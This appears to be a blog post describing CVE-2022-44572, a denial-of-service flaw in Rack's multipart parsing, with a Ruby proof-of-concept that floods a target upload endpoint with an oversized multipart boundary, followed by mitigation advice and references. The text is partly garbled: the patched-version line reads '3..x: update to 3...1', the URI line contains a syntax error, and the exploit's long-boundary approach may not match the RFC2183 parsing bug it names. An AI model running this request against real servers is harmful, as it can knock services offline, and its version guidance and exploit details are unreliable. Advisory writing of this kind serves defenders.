In this long-read post, we discuss the details of a recently discovered vulnerability known as CVE-2022-44572, which affects the Rack components used in many Rails applications. The vulnerability lies in the multipart parsing component of Rack, and if exploited, can lead to a denial of service (DoS) attack.

Overview of the Vulnerability

CVE-2022-44572 affects the RFC2183 multipart boundary parsing in Rack, potentially allowing an attacker to create specially crafted inputs that take an unexpectedly long time to process. This could ultimately lead to a denial of service (DoS) attack. Given the widespread use of Rack in Rails applications, this vulnerability has the potential to affect a large number of web applications.

Details of the Exploit

The exploit relies on the attacker crafting a multipart POST request containing a specially crafted boundary string. The boundary string forces Rack's multipart parser to take an unexpectedly long time in processing the input, which in turn can lead to a DoS attack by consuming server resources and ultimately making the application unresponsive.

The following example demonstrates how to craft a malicious multipart POST request to exploit the vulnerability:

require 'net/http'
require 'uri'

TARGET_URI = URI.parse("https://vulnerable.example.com/upload";)
MALICIOUS_BOUNDARY = "A" * 10_000

Net::HTTP.start(TARGET_URI.host, TARGET_URI.port, use_ssl: true) do |http|
  request = Net::HTTP::Post.new(TARGET_URI)
  request["Content-Type"] = "multipart/form-data; boundary=#{MALICIOUS_BOUNDARY}"

  post_body = "--#{MALICIOUS_BOUNDARY}\r\n"
  post_body += "Content-Disposition: form-data; name=\"file\"; filename=\"test.txt\"\r\n"
  post_body += "Content-Type: text/plain\r\n\r\n"
  post_body += "Test file content\r\n"
  post_body += "--#{MALICIOUS_BOUNDARY}--\r\n"

  request.body = post_body
  http.request(request)
end

Mitigating the Vulnerability

To protect your Rails application from this vulnerability, you should update your Rack components to the following patched versions:

Rack 3..x: update to 3...1

Furthermore, you can consider implementing additional protections such as rate limiting, which can help defend against DoS attacks by limiting the number of requests accepted in a given time frame.

For more details on this vulnerability, you can reference the following sources

1. Rack's official security advisory on CVE-2022-44572: https://github.com/rack/rack/security/advisories/GHSA-hj88-9jq2-6772
2. CVE database entry for CVE-2022-44572: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-44572
3. NVD entry for CVE-2022-44572: https://nvd.nist.gov/vuln/detail/CVE-2022-44572

Conclusion

CVE-2022-44572 is a noteworthy vulnerability that exposes a denial of service (DoS) attack vector in Rack, a widely used component in Rails applications. To protect your application from this vulnerability, ensure you update your Rack version to the latest patched release and consider additional server protections like rate limiting.

Timeline

Published on: 02/09/2023 20:15:00 UTC
Last modified on: 02/17/2023 18:55:00 UTC